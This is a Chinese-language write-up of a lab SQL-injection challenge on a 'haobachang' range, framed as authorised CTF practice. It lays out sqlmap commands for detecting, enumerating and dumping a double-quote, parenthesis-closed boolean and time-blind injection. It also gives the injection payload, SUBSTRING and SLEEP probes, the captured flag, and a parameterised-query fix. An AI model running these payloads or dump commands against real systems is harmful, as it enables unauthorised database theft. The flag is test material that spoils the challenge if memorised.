【好靶场】SQL 注入-双引号布尔与时间盲注-21858
- [【好靶场】SQL 注入-双引号布尔与时间盲注-21858](#【好靶场】SQL 注入-双引号布尔与时间盲注-21858)
-
- 一、题目类型与核心难点
- [二、SQLMap 初步验证](#二、SQLMap 初步验证)
- 三、枚举数据库
- 四、枚举表与字段
-
- [1. 枚举 sql_injection_lab 中的数据表](#1. 枚举 sql_injection_lab 中的数据表)
- [2. 枚举 flag 表字段](#2. 枚举 flag 表字段)
- 五、读取目标字段
- 六、手工理解:布尔盲注和时间盲注
-
- [1. 布尔盲注](#1. 布尔盲注)
- [2. 时间盲注](#2. 时间盲注)
- 七、漏洞成因与修复
-
- [1. 漏洞成因](#1. 漏洞成因)
- [2. 使用参数化查询](#2. 使用参数化查询)
- [3. 其他防护](#3. 其他防护)
- 八、总结
【好靶场】SQL 注入-双引号布尔与时间盲注-21858
声明:本文仅记录官方授权隔离靶场中的 CTF 学习过程。文中所有测试均只针对题目给出的地址,不得用于未授权目标。
靶场接口:
text
http://hbc2.haobachang.com:32796/check?id=1
一、题目类型与核心难点
本题的 id 参数存在 SQL 注入。SQLMap 对该接口的识别结果为:
text
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
因此,本题不是普通的直接回显型注入,而是同时具备两条验证路径:
text
布尔盲注:通过响应内容的真假差异判断条件是否成立
时间盲注:通过 SLEEP() 引入的响应延迟判断条件是否成立
相较于数字型布尔盲注,本题的一个关键难点是:**输入位于双引号与右括号构成的 SQL 结构中。**SQLMap 识别到的布尔型 Payload 类似:
text
1") AND 2251=2251 AND ("AvXD"="AvXD
可以据此推断,后端原始查询大致带有以下结构:
sql
... WHERE (id = "用户输入")
Payload 的作用为:
| 片段 | 作用 |
|---|---|
1 |
保留一个正常的数值输入 |
") |
闭合后端已有的双引号和外层右括号 |
AND 条件 |
加入要判断的 SQL 条件 |
AND ("x"="x |
构造后续可正常解析的恒真结构 |
手工测试时必须根据实际响应验证闭合方式;不能因为其他端口使用单引号、数字型或 ') 闭合,就直接照搬。
二、SQLMap 初步验证
先清理旧 session,再检测 id 参数:
bash
sqlmap -u 'http://hbc2.haobachang.com:32796/check?id=1' \
-p id \
--batch \
--flush-session \
--level=3 \
--risk=1 \
--timeout=10 \
--retries=1 \
--threads=1
参数含义:
text
-u 指定待测 URL
-p id 只测试 id 参数
--flush-session 删除已有 SQLMap session,避免旧缓存干扰
--level=3 扩展测试范围
--risk=1 保持低风险测试级别
--timeout=10 单个 HTTP 请求最多等待 10 秒
--retries=1 请求失败时最多重试一次
识别结果表明,id 参数存在:

text
Boolean-based blind SQL Injection
Time-based blind SQL Injection
后端数据库为:
text
MySQL / MariaDB
三、枚举数据库
本题同时支持布尔盲注和时间盲注,因此可以让 SQLMap 使用二者:
bash
sqlmap -u 'http://hbc2.haobachang.com:32796/check?id=1' \
-p id \
--technique=BT \
--dbs \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
--technique=BT 的含义:
text
B = Boolean-based blind
T = Time-based blind
在靶场中枚举到的数据库包括:

text
information_schema
mydb
mysql
performance_schema
sql_injection_lab
sys
其中 sql_injection_lab 是题目业务数据所在的目标库。
四、枚举表与字段
完成注入点确认之后,接下来我们指定数据库名 sql_injection_lab,使用 sqlmap 依次枚举库内的数据表、目标表的字段信息。
参数说明:
--technique=BT限定只使用布尔盲注 (B)、时间盲注 (T) 两种注入方式,和前面探测得到的漏洞类型保持一致,避免 union 报错类 payload 无效发包,提升扫描效率。
1. 枚举 sql_injection_lab 中的数据表
执行下述命令读取目标库下所有的数据表:
bash
sqlmap -u 'http://hbc2.haobachang.com:32796/check?id=1' \
-p id \
--technique=BT \
-D sql_injection_lab \
--tables \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
扫描完成后成功列出库中全部数据表:

返回结果包含两张表:flag、users。
其中 flag 是目标数据表。
2. 枚举 flag 表字段
指定数据库 -D sql_injection_lab、数据表 -T flag,搭配 --columns 参数查询这张表的列名与数据类型:
bash
sqlmap -u 'http://hbc2.haobachang.com:32796/check?id=1' \
-p id \
--technique=BT \
-D sql_injection_lab \
-T flag \
--columns \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
如果表结构与题目预期一致,可继续指定 flag 字段进行导出。

五、读取目标字段
读取 Flag 的命令如下:
bash
sqlmap -u 'http://hbc2.haobachang.com:32796/check?id=1' \
-p id \
--technique=BT \
-D sql_injection_lab \
-T flag \
-C flag \
--dump \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
参数说明:
text
-D sql_injection_lab 指定数据库
-T flag 指定表名
-C flag 指定字段名
--dump 导出目标字段的数据

最终获取到的flag为
text
flag{c15c2358bb64491385cd9c976beb3e31}
时间盲注会显著慢于普通查询。对于本题,建议保持
--threads=1,优先保证判断稳定;只有确认响应稳定时,才考虑增加线程数。
六、手工理解:布尔盲注和时间盲注
1. 布尔盲注
假设已经确认正确闭合结构,则可以构造判断式:
sql
SUBSTRING((SELECT flag FROM flag), 1, 1) = 'f'
含义是:
text
取 flag 值的第 1 个字符,判断它是否等于 f。
如果接口在条件成立与不成立时给出可区分响应,就能依次枚举每一个字符。
2. 时间盲注
当应用没有稳定的真假文本差异时,可以用延迟作为判断依据。基本思想为:
sql
IF(判断条件, SLEEP(5), 0)
text
条件成立 → 响应约延迟 5 秒
条件不成立 → 正常快速返回
SQLMap 已确认本题可通过 SLEEP() 构造时间盲注,因此在布尔响应不稳定的情况下,仍可作为备选路径。
七、漏洞成因与修复
1. 漏洞成因
根因是后端将用户可控的 id 直接拼接进 SQL。例如:
python
user_id = request.args.get('id', '')
sql = 'SELECT 1 FROM users WHERE (id = "' + user_id + '")'
cursor.execute(sql)
攻击者传入的内容会从普通数据变成 SQL 语法的一部分,从而干预查询逻辑。
2. 使用参数化查询
应改用参数绑定:
python
raw_id = request.args.get('id', '')
try:
user_id = int(raw_id)
except ValueError:
return {'error': 'invalid id'}, 400
cursor.execute(
'SELECT 1 FROM users WHERE id = %s LIMIT 1',
(user_id,)
)
参数化查询会让数据库驱动把 user_id 作为数据传递,而不是重新按 SQL 代码解析。
3. 其他防护
除参数化查询外,还应采取:
- 对
id做严格整数校验; - 使用最小权限数据库账户;
- 对重复异常请求进行限速、审计和告警;
- 避免向客户端返回详细数据库错误;
- 不以关键字、引号黑名单作为主要防护手段。
八、总结
本题的完整思路是:
text
定位 GET /check?id=1
↓
SQLMap 检测 id 参数
↓
确认双引号闭合下的布尔盲注
↓
确认 MySQL / MariaDB 时间盲注可用
↓
清除同域名其他端口遗留的 session
↓
枚举 sql_injection_lab
↓
枚举 flag 表和 flag 字段
↓
使用 --dump 读取目标数据
本题最值得注意的两点是:
text
1. 闭合方式是双引号与右括号组合,而不是前一题的数字型结构。
2. 同一域名的不同端口可能共用 SQLMap 输出目录,必须用 --flush-session / --fresh-queries 防止历史数据干扰。